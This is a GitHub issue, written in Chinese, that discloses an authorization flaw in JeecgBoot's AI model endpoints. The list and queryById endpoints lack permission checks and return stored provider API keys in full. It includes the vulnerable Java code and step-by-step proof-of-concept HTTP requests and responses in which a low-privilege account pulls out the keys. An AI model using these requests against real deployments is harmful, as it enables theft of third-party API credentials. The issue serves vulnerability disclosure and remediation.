Skip to content

API Key 未授权泄露 #9599

@AliceS614

Description

@AliceS614

1. 漏洞概述

JeecgBoot 的 AI 模型配置管理端点 AiragModelController 存在数据泄露漏洞。该控制器的 listqueryById 端点没有任何 @RequiresPermissions 注解,任何已认证用户均可调用。返回的 AiragModel 实体包含 credential 字段——该字段以 JSON 格式存储 AI 服务商(OpenAI、DeepSeek、智谱等)的完整 API Key,且 credential 字段没有 @JsonIgnore 或序列化保护,直接暴露在 HTTP 响应中。

同一模式还影响 AiragAppControllerAiragKnowledgeControllerAiragMcpController 中的多个无权限注解端点,但 AiragModelController 是最严重的,会直接泄露可用于调用第三方 AI 服务的 API 密钥。


2. 漏洞调用链

2.1 入口 — AiragModelController.list / queryById

文件: jeecg-boot-module/jeecg-boot-module-airag/.../controller/AiragModelController.java:61-67, 135-142

@GetMapping(value = "/list")
// ☆ 无 @RequiresPermissions ☆
public Result<IPage<AiragModel>> queryPageList(AiragModel airagModel, ...) {
    QueryWrapper<AiragModel> queryWrapper = QueryGenerator.initQueryWrapper(airagModel, ...);
    IPage<AiragModel> pageList = airagModelService.page(page, queryWrapper);
    return Result.OK(pageList);      // ← 返回完整 AiragModel 列表,含 credential
}

@GetMapping(value = "/queryById")
// ☆ 无 @RequiresPermissions ☆
public Result<AiragModel> queryById(@RequestParam(name = "id") String id) {
    AiragModel airagModel = airagModelService.getById(id);
    return Result.OK(airagModel);    // ← 返回单个 AiragModel,含完整 credential
}

对比: 同一 Controller 中的 addeditdelete 端点都有 @RequiresPermissions 注解,但 listqueryById 被遗漏。

2.2 敏感字段 — AiragModel.credential

文件: jeecg-boot-module/jeecg-boot-module-airag/.../entity/AiragModel.java:113-117

/**
 * 凭证信息
 */
@Excel(name = "凭证信息", width = 15)
@Schema(description = "凭证信息")
private String credential;    // ← 存储 {"apiKey":"sk-xxxx..."},无序列化保护

问题: 该字段仅标注了 @Excel@Schema,没有任何序列化保护注解(@JsonIgnore@JsonProperty(access = WRITE_ONLY))。Jackson 正常将其序列化到 JSON 响应中。

2.3 数据库存储格式

SELECT name, credential FROM airag_model;
-- OpenAI    | {"apiKey":"sk-proj-..."}
-- DeepSeek  | {"apiKey":"sk-8a7b6c5d..."}
-- 智谱      | {"apiKey":"您在官网上申请的key"}

2.4 同一模式的其他 AI 端点

控制器 无权限端点 泄露/影响
AiragModelController GET /list, GET /queryById CRITICAL — API Key 明文泄露
AiragAppController GET /list, GET /queryById, POST /save/article/write HIGH — 未授权操作 AI 应用
AiragKnowledgeController GET /list, GET /queryById, GET /doc/list MEDIUM — 未授权读取知识库
AiragMcpController 全部端点/list/queryById/save/sync/delete 等的 @RequiresPermissions 均被注释) HIGH — 完全未授权

3. PoC 复现步骤

  • 使用testonly仅 test 角色,所有用户的默认角色,userIdentity=1)进行测试
  • 创建两个测试模型(模拟管理员配置的真实 API Key)

3.1 管理员创建 AI 模型(模拟正常使用场景)

POST /jeecg-boot/airag/airagModel/add
X-Access-Token: <admin_jwt>
Content-Type: application/json

{
  "name": "OpenAI_Test",
  "provider": "OPENAI",
  "modelType": "LLM",
  "modelName": "gpt-4o",
  "baseUrl": "https://api.openai.com/v1",
  "credential": "{\"apiKey\":\"sk-8a8b8cb4c3d5d4e3f2a1b0c9d8e7f6a5\"}",
  "activateFlag": 1
}
HTTP/1.1 200 OK
{"success":true,"message":"添加成功!","code":200}
POST /jeecg-boot/airag/airagModel/add
X-Access-Token: <admin_jwt>
Content-Type: application/json

{
  "name": "DeepSeek_Test",
  "provider": "DEEPSEEK",
  "modelType": "LLM",
  "modelName": "deepseek-chat",
  "baseUrl": "https://api.deepseek.com/v1",
  "credential": "{\"apiKey\":\"sk-9a9b9c5d4e3f2a1b0c9d8e7f6a5b4c3d\"}",
  "activateFlag": 1
}
HTTP/1.1 200 OK
{"success":true,"message":"添加成功!","code":200}

3.2 攻击者( test 角色)通过 list 批量窃取

GET /jeecg-boot/airag/airagModel/list?pageNo=1&pageSize=10
X-Access-Token: <testonly_jwt>

Response (提取 模型):

{
  "success": true,
  "result": {
    "records": [
      {
        "name": "OpenAI_Test",
        "provider": "OPENAI",
        "baseUrl": "https://api.openai.com/v1",
        "credential": "{\"apiKey\":\"sk-8a8b8cb4c3d5d4e3f2a1b0c9d8e7f6a5\"}"
      },
      {
        "name": "DeepSeek_Test",
        "provider": "DEEPSEEK",
        "baseUrl": "https://api.deepseek.com/v1",
        "credential": "{\"apiKey\":\"sk-9a9b9c5d4e3f2a1b0c9d8e7f6a5b4c3d\"}"
      }
    ]
  }
}

3.3 攻击者通过 queryById 定点窃取

GET /jeecg-boot/airag/airagModel/queryById?id=2050541894263549954
X-Access-Token: <testonly_jwt>

Response:

{
  "success": true,
  "result": {
    "name": "OpenAI_Test",
    "baseUrl": "https://api.openai.com/v1",
    "credential": "{\"apiKey\":\"sk-8a8b8cb4c3d5d4e3f2a1b0c9d8e7f6a5\"}"
  }
}

原因: (1) listqueryById 缺少 @RequiresPermissions 注解;(2) credential 字段没有序列化保护,即使端点加了权限,在前端展示模型列表时也会将 API Key 发送到浏览器。第二点需要同时修复字段级和端点级的安全控制。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions